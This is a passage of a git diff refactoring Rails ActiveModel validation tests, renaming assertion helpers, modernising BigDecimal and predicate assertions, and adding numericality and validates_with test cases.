   def test_default_validates_numericality_of
     Topic.validates_numericality_of :approved
-    invalid!(NIL + BLANK + JUNK)
-    valid!(FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
+    assert_invalid_values(NIL + BLANK + JUNK)
+    assert_valid_values(FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
   end
 
   def test_validates_numericality_of_with_nil_allowed
     Topic.validates_numericality_of :approved, allow_nil: true
 
-    invalid!(JUNK + BLANK)
-    valid!(NIL + FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
+    assert_invalid_values(JUNK + BLANK)
+    assert_valid_values(NIL + FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
   end
 
   def test_validates_numericality_of_with_blank_allowed
     Topic.validates_numericality_of :approved, allow_blank: true
 
-    invalid!(JUNK)
-    valid!(NIL + BLANK + FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
+    assert_invalid_values(JUNK)
+    assert_valid_values(NIL + BLANK + FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
   end
 
   def test_validates_numericality_of_with_integer_only
     Topic.validates_numericality_of :approved, only_integer: true
 
-    invalid!(NIL + BLANK + JUNK + FLOATS + BIGDECIMAL + INFINITY)
-    valid!(INTEGERS)
+    assert_invalid_values(NIL + BLANK + JUNK + FLOATS + BIGDECIMAL + INFINITY)
+    assert_valid_values(INTEGERS)
   end
 
   def test_validates_numericality_of_with_integer_only_and_nil_allowed
     Topic.validates_numericality_of :approved, only_integer: true, allow_nil: true
 
-    invalid!(JUNK + BLANK + FLOATS + BIGDECIMAL + INFINITY)
-    valid!(NIL + INTEGERS)
+    assert_invalid_values(JUNK + BLANK + FLOATS + BIGDECIMAL + INFINITY)
+    assert_valid_values(NIL + INTEGERS)
   end
 
   def test_validates_numericality_of_with_integer_only_and_symbol_as_value
-    Topic.validates_numericality_of :approved, only_integer: :condition_is_true_but_its_not
+    Topic.validates_numericality_of :approved, only_integer: :condition_is_false
 
-    invalid!(NIL + BLANK + JUNK)
-    valid!(FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
+    assert_invalid_values(NIL + BLANK + JUNK)
+    assert_valid_values(FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
   end
 
   def test_validates_numericality_of_with_integer_only_and_proc_as_value
-    Topic.send(:define_method, :allow_only_integers?, lambda { false })
+    Topic.define_method(:allow_only_integers?) { false }
     Topic.validates_numericality_of :approved, only_integer: Proc.new(&:allow_only_integers?)
 
-    invalid!(NIL + BLANK + JUNK)
-    valid!(FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
+    assert_invalid_values(NIL + BLANK + JUNK)
+    assert_valid_values(FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
+  end
+
+  def test_validates_numericality_of_with_integer_only_and_lambda_as_value
+    Topic.validates_numericality_of :approved, only_integer: -> { false }
+
+    assert_invalid_values(NIL + BLANK + JUNK)
+    assert_valid_values(FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
+  end
+
+  def test_validates_numericality_of_with_numeric_only
+    Topic.validates_numericality_of :approved, only_numeric: true
+
+    assert_invalid_values(NIL + BLANK + JUNK + FLOAT_STRINGS + INTEGER_STRINGS)
+    assert_valid_values(NUMERIC_FLOATS + NUMERIC_INTEGERS + BIGDECIMAL + INFINITY)
+  end
+
+  def test_validates_numericality_of_with_numeric_only_and_nil_allowed
+    Topic.validates_numericality_of :approved, only_numeric: true, allow_nil: true
+
+    assert_invalid_values(JUNK + BLANK + FLOAT_STRINGS + INTEGER_STRINGS)
+    assert_valid_values(NIL + NUMERIC_FLOATS + NUMERIC_INTEGERS + BIGDECIMAL + INFINITY)
   end
 
   def test_validates_numericality_with_greater_than
     Topic.validates_numericality_of :approved, greater_than: 10
 
-    invalid!([-10, 10], "must be greater than 10")
-    valid!([11])
+    assert_invalid_values([-10, 10], "must be greater than 10")
+    assert_valid_values([11])
   end
 
   def test_validates_numericality_with_greater_than_using_differing_numeric_types
-    Topic.validates_numericality_of :approved, greater_than: BigDecimal.new("97.18")
+    Topic.validates_numericality_of :approved, greater_than: BigDecimal("97.18")
 
-    invalid!([-97.18, BigDecimal.new("97.18"), BigDecimal("-97.18")], "must be greater than 97.18")
-    valid!([97.19, 98, BigDecimal.new("98"), BigDecimal.new("97.19")])
+    assert_invalid_values([-97.18, BigDecimal("97.18"), BigDecimal("-97.18")], "must be greater than 97.18")
+    assert_valid_values([97.19, 98, BigDecimal("98"), BigDecimal("97.19")])
   end
 
   def test_validates_numericality_with_greater_than_using_string_value
     Topic.validates_numericality_of :approved, greater_than: 10
 
-    invalid!(["-10", "9", "9.9", "10"], "must be greater than 10")
-    valid!(["10.1", "11"])
+    assert_invalid_values(["-10", "9", "9.9", "10"], "must be greater than 10")
+    assert_valid_values(["10.1", "11"])
   end
 
   def test_validates_numericality_with_greater_than_or_equal
     Topic.validates_numericality_of :approved, greater_than_or_equal_to: 10
 
-    invalid!([-9, 9], "must be greater than or equal to 10")
-    valid!([10])
+    assert_invalid_values([-9, 9], "must be greater than or equal to 10")
+    assert_valid_values([10])
   end
 
   def test_validates_numericality_with_greater_than_or_equal_using_differing_numeric_types
-    Topic.validates_numericality_of :approved, greater_than_or_equal_to: BigDecimal.new("97.18")
+    Topic.validates_numericality_of :approved, greater_than_or_equal_to: BigDecimal("97.18")
 
-    invalid!([-97.18, 97.17, 97, BigDecimal.new("97.17"), BigDecimal.new("-97.18")], "must be greater than or equal to 97.18")
-    valid!([97.18, 98, BigDecimal.new("97.19")])
+    assert_invalid_values([-97.18, 97.17, 97, BigDecimal("97.17"), BigDecimal("-97.18")], "must be greater than or equal to 97.18")
+    assert_valid_values([97.18, 98, BigDecimal("97.19")])
   end
 
   def test_validates_numericality_with_greater_than_or_equal_using_string_value
     Topic.validates_numericality_of :approved, greater_than_or_equal_to: 10
 
-    invalid!(["-10", "9", "9.9"], "must be greater than or equal to 10")
-    valid!(["10", "10.1", "11"])
+    assert_invalid_values(["-10", "9", "9.9"], "must be greater than or equal to 10")
+    assert_valid_values(["10", "10.1", "11"])
   end
 
   def test_validates_numericality_with_equal_to
     Topic.validates_numericality_of :approved, equal_to: 10
 
-    invalid!([-10, 11] + INFINITY, "must be equal to 10")
-    valid!([10])
+    assert_invalid_values([-10, 11] + INFINITY, "must be equal to 10")
+    assert_valid_values([10])
   end
 
   def test_validates_numericality_with_equal_to_using_differing_numeric_types
-    Topic.validates_numericality_of :approved, equal_to: BigDecimal.new("97.18")
+    Topic.validates_numericality_of :approved, equal_to: BigDecimal("97.18")
 
-    invalid!([-97.18], "must be equal to 97.18")
-    valid!([BigDecimal.new("97.18")])
+    assert_invalid_values([-97.18], "must be equal to 97.18")
+    assert_valid_values([BigDecimal("97.18")])
   end
 
   def test_validates_numericality_with_equal_to_using_string_value
     Topic.validates_numericality_of :approved, equal_to: 10
 
-    invalid!(["-10", "9", "9.9", "10.1", "11"], "must be equal to 10")
-    valid!(["10"])
+    assert_invalid_values(["-10", "9", "9.9", "10.1", "11"], "must be equal to 10")
+    assert_valid_values(["10"])
   end
 
   def test_validates_numericality_with_less_than
     Topic.validates_numericality_of :approved, less_than: 10
 
-    invalid!([10], "must be less than 10")
-    valid!([-9, 9])
+    assert_invalid_values([10], "must be less than 10")
+    assert_valid_values([-9, 9])
   end
 
   def test_validates_numericality_with_less_than_using_differing_numeric_types
-    Topic.validates_numericality_of :approved, less_than: BigDecimal.new("97.18")
+    Topic.validates_numericality_of :approved, less_than: BigDecimal("97.18")
 
-    invalid!([97.18, BigDecimal.new("97.18")], "must be less than 97.18")
-    valid!([-97.0, 97.0, -97, 97, BigDecimal.new("-97"), BigDecimal.new("97")])
+    assert_invalid_values([97.18, BigDecimal("97.18")], "must be less than 97.18")
+    assert_valid_values([-97.0, 97.0, -97, 97, BigDecimal("-97"), BigDecimal("97")])
   end
 
   def test_validates_numericality_with_less_than_using_string_value
     Topic.validates_numericality_of :approved, less_than: 10
 
-    invalid!(["10", "10.1", "11"], "must be less than 10")
-    valid!(["-10", "9", "9.9"])
+    assert_invalid_values(["10", "10.1", "11"], "must be less than 10")
+    assert_valid_values(["-10", "9", "9.9"])
   end
 
   def test_validates_numericality_with_less_than_or_equal_to
     Topic.validates_numericality_of :approved, less_than_or_equal_to: 10
 
-    invalid!([11], "must be less than or equal to 10")
-    valid!([-10, 10])
+    assert_invalid_values([11], "must be less than or equal to 10")
+    assert_valid_values([-10, 10])
   end
 
   def test_validates_numericality_with_less_than_or_equal_to_using_differing_numeric_types
-    Topic.validates_numericality_of :approved, less_than_or_equal_to: BigDecimal.new("97.18")
+    Topic.validates_numericality_of :approved, less_than_or_equal_to: BigDecimal("97.18")
 
-    invalid!([97.19, 98], "must be less than or equal to 97.18")
-    valid!([-97.18, BigDecimal.new("-97.18"), BigDecimal.new("97.18")])
+    assert_invalid_values([97.19, 98], "must be less than or equal to 97.18")
+    assert_valid_values([-97.18, BigDecimal("-97.18"), BigDecimal("97.18")])
   end
 
   def test_validates_numericality_with_less_than_or_equal_using_string_value
     Topic.validates_numericality_of :approved, less_than_or_equal_to: 10
 
-    invalid!(["10.1", "11"], "must be less than or equal to 10")
-    valid!(["-10", "9", "9.9", "10"])
+    assert_invalid_values(["10.1", "11"], "must be less than or equal to 10")
+    assert_valid_values(["-10", "9", "9.9", "10"])
   end
 
   def test_validates_numericality_with_odd
     Topic.validates_numericality_of :approved, odd: true
 
-    invalid!([-2, 2], "must be odd")
-    valid!([-1, 1])
+    assert_invalid_values([-2, 2], "must be odd")
+    assert_valid_values([-1, 1])
   end
 
   def test_validates_numericality_with_even
     Topic.validates_numericality_of :approved, even: true
 
-    invalid!([-1, 1], "must be even")
-    valid!([-2, 2])
+    assert_invalid_values([-1, 1], "must be even")
+    assert_valid_values([-2, 2])
   end
 
   def test_validates_numericality_with_greater_than_less_than_and_even
     Topic.validates_numericality_of :approved, greater_than: 1, less_than: 4, even: true
 
-    invalid!([1, 3, 4])
-    valid!([2])
+    assert_invalid_values([1, 3, 4])
+    assert_valid_values([2])
   end
 
   def test_validates_numericality_with_other_than
     Topic.validates_numericality_of :approved, other_than: 0
 
-    invalid!([0, 0.0])
-    valid!([-1, 42])
+    assert_invalid_values([0, 0.0])
+    assert_valid_values([-1, 42])
+  end
+
+  def test_validates_numericality_with_in
+    Topic.validates_numericality_of :approved, in: 1..3
+
+    assert_invalid_values([0, 4])
+    assert_valid_values([1, 2, 3])
   end
 
   def test_validates_numericality_with_other_than_using_string_value
     Topic.validates_numericality_of :approved, other_than: 0
 
-    invalid!(["0", "0.0"])
-    valid!(["-1", "1.1", "42"])
+    assert_invalid_values(["0", "0.0"])
+    assert_valid_values(["-1", "1.1", "42"])
   end
 
   def test_validates_numericality_with_proc
-    Topic.send(:define_method, :min_approved, lambda { 5 })
+    Topic.define_method(:min_approved) { 5 }
     Topic.validates_numericality_of :approved, greater_than_or_equal_to: Proc.new(&:min_approved)
 
-    invalid!([3, 4])
-    valid!([5, 6])
+    assert_invalid_values([3, 4], "must be greater than or equal to 5")
+    assert_valid_values([5, 6])
   ensure
-    Topic.send(:remove_method, :min_approved)
+    Topic.remove_method :min_approved
+  end
+
+  def test_validates_numericality_with_lambda
+    Topic.validates_numericality_of :approved, greater_than_or_equal_to: -> { 5 }
+
+    assert_invalid_values([3, 4], "must be greater than or equal to 5")
+    assert_valid_values([5, 6])
   end
 
   def test_validates_numericality_with_symbol
-    Topic.send(:define_method, :max_approved, lambda { 5 })
+    Topic.define_method(:max_approved) { 5 }
     Topic.validates_numericality_of :approved, less_than_or_equal_to: :max_approved
 
-    invalid!([6])
-    valid!([4, 5])
+    assert_invalid_values([6], "must be less than or equal to 5")
+    assert_valid_values([4, 5])
   ensure
-    Topic.send(:remove_method, :max_approved)
+    Topic.remove_method :max_approved
   end
 
   def test_validates_numericality_with_numeric_message
     Topic.validates_numericality_of :approved, less_than: 4, message: "smaller than %{count}"
     topic = Topic.new("title" => "numeric test", "approved" => 10)
 
-    assert !topic.valid?
+    assert_not_predicate topic, :valid?
     assert_equal ["smaller than 4"], topic.errors[:approved]
 
     Topic.validates_numericality_of :approved, greater_than: 4, message: "greater than %{count}"
     topic = Topic.new("title" => "numeric test", "approved" => 1)
 
-    assert !topic.valid?
+    assert_not_predicate topic, :valid?
     assert_equal ["greater than 4"], topic.errors[:approved]
   end
 
@@ -250,37 +290,76 @@ def test_validates_numericality_of_for_ruby_class
 
     p = Person.new
     p.karma = "Pix"
-    assert p.invalid?
+    assert_predicate p, :invalid?
 
     assert_equal ["is not a number"], p.errors[:karma]
 
     p.karma = "1234"
-    assert p.valid?
+    assert_predicate p, :valid?
   ensure
     Person.clear_validators!
   end
 
+  def test_validates_numericality_using_value_before_type_cast_if_possible
+    Topic.validates_numericality_of :price
+
+    topic = Topic.new(price: 50)
+
+    assert_equal "$50.00", topic.price
+    assert_equal 50, topic.price_before_type_cast
+    assert_predicate topic, :valid?
+  end
+
+  def test_validates_numericality_with_exponent_number
+    base = 10_000_000_000_000_000
+    Topic.validates_numericality_of :approved, less_than_or_equal_to: base
+    topic = Topic.new
+    topic.approved = (base + 1).to_s
+
+    assert_predicate topic, :invalid?
+  end
+
+  def test_validates_numericality_with_object_acting_as_numeric
+    klass = Class.new do
+      def to_f
+        123.54
+      end
+    end
+
+    Topic.validates_numericality_of :price
+    topic = Topic.new(price: klass.new)
+
+    assert_predicate topic, :valid?
+  end
+
   def test_validates_numericality_with_invalid_args
     assert_raise(ArgumentError) { Topic.validates_numericality_of :approved, greater_than_or_equal_to: "foo" }
     assert_raise(ArgumentError) { Topic.validates_numericality_of :approved, less_than_or_equal_to: "foo" }
     assert_raise(ArgumentError) { Topic.validates_numericality_of :approved, greater_than: "foo" }
     assert_raise(ArgumentError) { Topic.validates_numericality_of :approved, less_than: "foo" }
     assert_raise(ArgumentError) { Topic.validates_numericality_of :approved, equal_to: "foo" }
+    assert_raise(ArgumentError) { Topic.validates_numericality_of :approved, in: "foo" }
   end
 
-  private
+  def test_validates_numericality_equality_for_float_and_big_decimal
+    Topic.validates_numericality_of :approved, equal_to: BigDecimal("65.6")
+
+    assert_invalid_values([Float("65.5"), BigDecimal("65.7")], "must be equal to 65.6")
+    assert_valid_values([Float("65.6"), BigDecimal("65.6")])
+  end
 
-    def invalid!(values, error = nil)
+  private
+    def assert_invalid_values(values, error = nil)
       with_each_topic_approved_value(values) do |topic, value|
-        assert topic.invalid?, "#{value.inspect} not rejected as a number"
-        assert topic.errors[:approved].any?, "FAILED for #{value.inspect}"
+        assert_predicate topic, :invalid?, "#{value.inspect} not rejected as a number"
+        assert_predicate topic.errors[:approved], :any?, "FAILED for #{value.inspect}"
         assert_equal error, topic.errors[:approved].first if error
       end
     end
 
-    def valid!(values)
+    def assert_valid_values(values)
       with_each_topic_approved_value(values) do |topic, value|
-        assert topic.valid?, "#{value.inspect} not accepted as a number with validation error: #{topic.errors[:approved].first}"
+        assert_predicate topic, :valid?, "#{value.inspect} not accepted as a number with validation error: #{topic.errors[:approved].first}"
       end
     end
 
diff --git a/activemodel/test/cases/validations/presence_validation_test.rb b/activemodel/test/cases/validations/presence_validation_test.rb
index 642dd0f144a47..7c9ff2681e2fd 100644
--- a/activemodel/test/cases/validations/presence_validation_test.rb
+++ b/activemodel/test/cases/validations/presence_validation_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 require "models/topic"
@@ -15,25 +17,25 @@ def test_validate_presences
     Topic.validates_presence_of(:title, :content)
 
     t = Topic.new
-    assert t.invalid?
+    assert_predicate t, :invalid?
     assert_equal ["can't be blank"], t.errors[:title]
     assert_equal ["can't be blank"], t.errors[:content]
 
     t.title = "something"
     t.content = "   "
 
-    assert t.invalid?
+    assert_predicate t, :invalid?
     assert_equal ["can't be blank"], t.errors[:content]
 
     t.content = "like stuff"
 
-    assert t.valid?
+    assert_predicate t, :valid?
   end
 
   def test_accepts_array_arguments
     Topic.validates_presence_of %w(title content)
     t = Topic.new
-    assert t.invalid?
+    assert_predicate t, :invalid?
     assert_equal ["can't be blank"], t.errors[:title]
     assert_equal ["can't be blank"], t.errors[:content]
   end
@@ -41,7 +43,7 @@ def test_accepts_array_arguments
   def test_validates_acceptance_of_with_custom_error_using_quotes
     Person.validates_presence_of :karma, message: "This string contains 'single' and \"double\" quotes"
     p = Person.new
-    assert p.invalid?
+    assert_predicate p, :invalid?
     assert_equal "This string contains 'single' and \"double\" quotes", p.errors[:karma].last
   end
 
@@ -49,57 +51,57 @@ def test_validates_presence_of_for_ruby_class
     Person.validates_presence_of :karma
 
     p = Person.new
-    assert p.invalid?
+    assert_predicate p, :invalid?
 
     assert_equal ["can't be blank"], p.errors[:karma]
 
     p.karma = "Cold"
-    assert p.valid?
+    assert_predicate p, :valid?
   end
 
   def test_validates_presence_of_for_ruby_class_with_custom_reader
     CustomReader.validates_presence_of :karma
 
     p = CustomReader.new
-    assert p.invalid?
+    assert_predicate p, :invalid?
 
     assert_equal ["can't be blank"], p.errors[:karma]
 
     p[:karma] = "Cold"
-    assert p.valid?
+    assert_predicate p, :valid?
   end
 
   def test_validates_presence_of_with_allow_nil_option
     Topic.validates_presence_of(:title, allow_nil: true)
 
     t = Topic.new(title: "something")
-    assert t.valid?, t.errors.full_messages
+    assert_predicate t, :valid?
 
     t.title = ""
-    assert t.invalid?
+    assert_predicate t, :invalid?
     assert_equal ["can't be blank"], t.errors[:title]
 
     t.title = "  "
-    assert t.invalid?, t.errors.full_messages
+    assert_predicate t, :invalid?
     assert_equal ["can't be blank"], t.errors[:title]
 
     t.title = nil
-    assert t.valid?, t.errors.full_messages
+    assert_predicate t, :valid?
   end
 
   def test_validates_presence_of_with_allow_blank_option
     Topic.validates_presence_of(:title, allow_blank: true)
 
     t = Topic.new(title: "something")
-    assert t.valid?, t.errors.full_messages
+    assert_predicate t, :valid?
 
     t.title = ""
-    assert t.valid?, t.errors.full_messages
+    assert_predicate t, :valid?
 
     t.title = "  "
-    assert t.valid?, t.errors.full_messages
+    assert_predicate t, :valid?
 
     t.title = nil
-    assert t.valid?, t.errors.full_messages
+    assert_predicate t, :valid?
   end
 end
diff --git a/activemodel/test/cases/validations/validates_test.rb b/activemodel/test/cases/validations/validates_test.rb
index 011033606e243..7281817bb10c5 100644
--- a/activemodel/test/cases/validations/validates_test.rb
+++ b/activemodel/test/cases/validations/validates_test.rb
@@ -1,8 +1,10 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/person"
 require "models/topic"
 require "models/person_with_validator"
-require "validators/namespace/email_validator"
+require "validators/namespaced/email_validator"
 
 class ValidatesTest < ActiveModel::TestCase
   setup :reset_callbacks
@@ -17,7 +19,7 @@ def reset_callbacks
   def test_validates_with_messages_empty
     Person.validates :title, presence: { message: "" }
     person = Person.new
-    assert !person.valid?, "person should not be valid."
+    assert_not person.valid?, "person should not be valid."
   end
 
   def test_validates_with_built_in_validation
@@ -35,7 +37,7 @@ def test_validates_with_attribute_specified_as_string
 
     person = Person.new
     person.title = 123
-    assert person.valid?
+    assert_predicate person, :valid?
   end
 
   def test_validates_with_built_in_validation_and_options
@@ -53,63 +55,69 @@ def test_validates_with_validator_class
   end
 
   def test_validates_with_namespaced_validator_class
-    Person.validates :karma, 'namespace/email': true
+    Person.validates :karma, 'namespaced/email': true
     person = Person.new
     person.valid?
     assert_equal ["is not an email"], person.errors[:karma]
   end
 
   def test_validates_with_if_as_local_conditions
-    Person.validates :karma, presence: true, email: { unless: :condition_is_true }
+    Person.validates :karma, presence: true, email: { if: :condition_is_false }
     person = Person.new
     person.valid?
     assert_equal ["can't be blank"], person.errors[:karma]
   end
 
   def test_validates_with_if_as_shared_conditions
-    Person.validates :karma, presence: true, email: true, if: :condition_is_true
+    Person.validates :karma, presence: true, email: true, if: :condition_is_false
+    person = Person.new
+    assert_predicate person, :valid?
+  end
+
+  def test_validates_with_unless_as_local_conditions
+    Person.validates :karma, presence: true, email: { unless: :condition_is_true }
     person = Person.new
     person.valid?
-    assert_equal ["can't be blank", "is not an email"], person.errors[:karma].sort
+    assert_equal ["can't be blank"], person.errors[:karma]
   end
 
   def test_validates_with_unless_shared_conditions
     Person.validates :karma, presence: true, email: true, unless: :condition_is_true
     person = Person.new
-    assert person.valid?
+    assert_predicate person, :valid?
   end
 
   def test_validates_with_allow_nil_shared_conditions
     Person.validates :karma, length: { minimum: 20 }, email: true, allow_nil: true
     person = Person.new
-    assert person.valid?
+    assert_predicate person, :valid?
   end
 
   def test_validates_with_regexp
     Person.validates :karma, format: /positive|negative/
     person = Person.new
-    assert person.invalid?
+    assert_predicate person, :invalid?
     assert_equal ["is invalid"], person.errors[:karma]
     person.karma = "positive"
-    assert person.valid?
+    assert_predicate person, :valid?
   end
 
   def test_validates_with_array
     Person.validates :gender, inclusion: %w(m f)
     person = Person.new
-    assert person.invalid?
+    assert_predicate person, :invalid?
     assert_equal ["is not included in the list"], person.errors[:gender]
     person.gender = "m"
-    assert person.valid?
+    assert_predicate person, :valid?
   end
 
   def test_validates_with_range
     Person.validates :karma, length: 6..20
     person = Person.new
-    assert person.invalid?
+    assert_predicate person, :invalid?
     assert_equal ["is too short (minimum is 6 characters)"], person.errors[:karma]
     person.karma = "something"
-    assert person.valid?
+    assert_predicate person, :valid?
   end
 
   def test_validates_with_validator_class_and_options
@@ -123,6 +131,10 @@ def test_validates_with_unknown_validator
     assert_raise(ArgumentError) { Person.validates :karma, unknown: true }
   end
 
+  def test_validates_with_disabled_unknown_validator
+    assert_raise(ArgumentError) { Person.validates :karma, unknown: false }
+  end
+
   def test_validates_with_included_validator
     PersonWithValidator.validates :title, presence: true
     person = PersonWithValidator.new
@@ -151,7 +163,7 @@ def test_defining_extra_default_keys_for_validates
     topic = Topic.new
     topic.title = "What's happening"
     topic.title_confirmation = "Not this"
-    assert !topic.valid?
+    assert_not_predicate topic, :valid?
     assert_equal ["Y U NO CONFIRM"], topic.errors[:title_confirmation]
   end
 end
diff --git a/activemodel/test/cases/validations/validations_context_test.rb b/activemodel/test/cases/validations/validations_context_test.rb
index 25c37a572f7d6..615a0a71d37d7 100644
--- a/activemodel/test/cases/validations/validations_context_test.rb
+++ b/activemodel/test/cases/validations/validations_context_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 require "models/topic"
@@ -12,20 +14,20 @@ def teardown
 
   class ValidatorThatAddsErrors < ActiveModel::Validator
     def validate(record)
-      record.errors[:base] << ERROR_MESSAGE
+      record.errors.add(:base, ERROR_MESSAGE)
     end
   end
 
   class AnotherValidatorThatAddsErrors < ActiveModel::Validator
     def validate(record)
-      record.errors[:base] << ANOTHER_ERROR_MESSAGE
+      record.errors.add(:base, ANOTHER_ERROR_MESSAGE)
     end
   end
 
   test "with a class that adds errors on create and validating a new model with no arguments" do
     Topic.validates_with(ValidatorThatAddsErrors, on: :create)
     topic = Topic.new
-    assert topic.valid?, "Validation doesn't run on valid? if 'on' is set to create"
+    assert_predicate topic, :valid?, "Validation doesn't run on valid? if 'on' is set to create"
   end
 
   test "with a class that adds errors on update and validating a new model" do
@@ -45,7 +47,7 @@ def validate(record)
     Topic.validates_with(ValidatorThatAddsErrors, on: [:context1, :context2])
 
     topic = Topic.new
-    assert topic.valid?, "Validation ran with no context given when 'on' is set to context1 and context2"
+    assert_predicate topic, :valid?, "Validation ran with no context given when 'on' is set to context1 and context2"
 
     assert topic.invalid?(:context1), "Validation did not run on context1 when 'on' is set to context1 and context2"
     assert_includes topic.errors[:base], ERROR_MESSAGE
@@ -59,7 +61,7 @@ def validate(record)
     Topic.validates_with(AnotherValidatorThatAddsErrors, on: :context2)
 
     topic = Topic.new
-    assert topic.valid?, "Validation ran with no context given when 'on' is set to context1 and context2"
+    assert_predicate topic, :valid?, "Validation ran with no context given when 'on' is set to context1 and context2"
 
     assert topic.invalid?([:context1, :context2]), "Validation did not run on context1 when 'on' is set to context1 and context2"
     assert_includes topic.errors[:base], ERROR_MESSAGE
diff --git a/activemodel/test/cases/validations/with_validation_test.rb b/activemodel/test/cases/validations/with_validation_test.rb
index 5ce86738cdcdf..28b0edd055e46 100644
--- a/activemodel/test/cases/validations/with_validation_test.rb
+++ b/activemodel/test/cases/validations/with_validation_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 require "models/topic"
@@ -12,13 +14,13 @@ def teardown
 
   class ValidatorThatAddsErrors < ActiveModel::Validator
     def validate(record)
-      record.errors[:base] << ERROR_MESSAGE
+      record.errors.add(:base, message: ERROR_MESSAGE)
     end
   end
 
   class OtherValidatorThatAddsErrors < ActiveModel::Validator
     def validate(record)
-      record.errors[:base] << OTHER_ERROR_MESSAGE
+      record.errors.add(:base, message: OTHER_ERROR_MESSAGE)
     end
   end
 
@@ -27,17 +29,24 @@ def validate(record)
     end
   end
 
+  class ValidatorThatClearsOptions < ValidatorThatDoesNotAddErrors
+    def initialize(options)
+      super
+      options.clear
+    end
+  end
+
   class ValidatorThatValidatesOptions < ActiveModel::Validator
     def validate(record)
       if options[:field] == :first_name
-        record.errors[:base] << ERROR_MESSAGE
+        record.errors.add(:base, message: ERROR_MESSAGE)
       end
     end
   end
 
   class ValidatorPerEachAttribute < ActiveModel::EachValidator
     def validate_each(record, attribute, value)
-      record.errors[attribute] << "Value is #{value}"
+      record.errors.add(attribute, message: "Value is #{value}")
     end
   end
 
@@ -50,84 +59,66 @@ def check_validity!
   test "validation with class that adds errors" do
     Topic.validates_with(ValidatorThatAddsErrors)
     topic = Topic.new
-    assert topic.invalid?, "A class that adds errors causes the record to be invalid"
+    assert_predicate topic, :invalid?, "A class that adds errors causes the record to be invalid"
     assert_includes topic.errors[:base], ERROR_MESSAGE
   end
 
   test "with a class that returns valid" do
     Topic.validates_with(ValidatorThatDoesNotAddErrors)
     topic = Topic.new
-    assert topic.valid?, "A class that does not add errors does not cause the record to be invalid"
+    assert_predicate topic, :valid?, "A class that does not add errors does not cause the record to be invalid"
   end
 
   test "with multiple classes" do
     Topic.validates_with(ValidatorThatAddsErrors, OtherValidatorThatAddsErrors)
     topic = Topic.new
-    assert topic.invalid?
+    assert_predicate topic, :invalid?
     assert_includes topic.errors[:base], ERROR_MESSAGE
     assert_includes topic.errors[:base], OTHER_ERROR_MESSAGE
   end
 
-  test "with if statements that return false" do
-    ActiveSupport::Deprecation.silence do
-      Topic.validates_with(ValidatorThatAddsErrors, if: "1 == 2")
-    end
+  test "passes all configuration options to the validator class" do
     topic = Topic.new
-    assert topic.valid?
-  end
+    validator = Minitest::Mock.new
+    validator.expect(:new, validator, [{ foo: :bar, if: :condition_is_true, class: Topic }])
+    validator.expect(:validate, nil, [topic])
+    validator.expect(:is_a?, false, [String]) # Call run by ActiveSupport::Callbacks::Callback.build
 
-  test "with if statements that return true" do
-    ActiveSupport::Deprecation.silence do
-      Topic.validates_with(ValidatorThatAddsErrors, if: "1 == 1")
-    end
-    topic = Topic.new
-    assert topic.invalid?
-    assert_includes topic.errors[:base], ERROR_MESSAGE
+    Topic.validates_with(validator, if: :condition_is_true, foo: :bar)
+    assert_predicate topic, :valid?
+    validator.verify
   end
 
-  test "with unless statements that return true" do
-    ActiveSupport::Deprecation.silence do
-      Topic.validates_with(ValidatorThatAddsErrors, unless: "1 == 1")
-    end
+  test "validates_with with options" do
+    Topic.validates_with(ValidatorThatValidatesOptions, field: :first_name)
     topic = Topic.new
-    assert topic.valid?
+    assert_predicate topic, :invalid?
+    assert_includes topic.errors[:base], ERROR_MESSAGE
   end
 
-  test "with unless statements that returns false" do
-    ActiveSupport::Deprecation.silence do
-      Topic.validates_with(ValidatorThatAddsErrors, unless: "1 == 2")
-    end
+  test "validates_with preserves standard options" do
+    Topic.validates_with(ValidatorThatClearsOptions, ValidatorThatAddsErrors, on: :specific_context)
     topic = Topic.new
-    assert topic.invalid?
-    assert_includes topic.errors[:base], ERROR_MESSAGE
+    assert topic.invalid?(:specific_context), "validation should work"
+    assert_predicate topic, :valid?, "Standard options should be preserved"
   end
 
-  test "passes all configuration options to the validator class" do
+  test "validates_with preserves validator options" do
+    Topic.validates_with(ValidatorThatClearsOptions, ValidatorThatValidatesOptions, field: :first_name)
     topic = Topic.new
-    validator = Minitest::Mock.new
-    validator.expect(:new, validator, [{ foo: :bar, if: "1 == 1", class: Topic }])
-    validator.expect(:validate, nil, [topic])
-    validator.expect(:is_a?, false, [Symbol])
-    validator.expect(:is_a?, false, [String])
-
-    ActiveSupport::Deprecation.silence do
-      Topic.validates_with(validator, if: "1 == 1", foo: :bar)
-    end
-    assert topic.valid?
-    validator.verify
+    assert_predicate topic, :invalid?, "Validator options should be preserved"
   end
 
-  test "validates_with with options" do
-    Topic.validates_with(ValidatorThatValidatesOptions, field: :first_name)
+  test "instance validates_with method preserves validator options" do
     topic = Topic.new
-    assert topic.invalid?
-    assert_includes topic.errors[:base], ERROR_MESSAGE
+    topic.validates_with(ValidatorThatClearsOptions, ValidatorThatValidatesOptions, field: :first_name)
+    assert_includes topic.errors[:base], ERROR_MESSAGE, "Validator options should be preserved"
   end
 
   test "validates_with each validator" do
     Topic.validates_with(ValidatorPerEachAttribute, attributes: [:title, :content])
     topic = Topic.new title: "Title", content: "Content"
-    assert topic.invalid?
+    assert_predicate topic, :invalid?
     assert_equal ["Value is Title"], topic.errors[:title]
     assert_equal ["Value is Content"], topic.errors[:content]
   end
@@ -147,28 +138,120 @@ def check_validity!
   test "each validator skip nil values if :allow_nil is set to true" do
     Topic.validates_with(ValidatorPerEachAttribute, attributes: [:title, :content], allow_nil: true)
     topic = Topic.new content: ""
-    assert topic.invalid?
-    assert topic.errors[:title].empty?
+    assert_predicate topic, :invalid?
+    assert_empty topic.errors[:title]
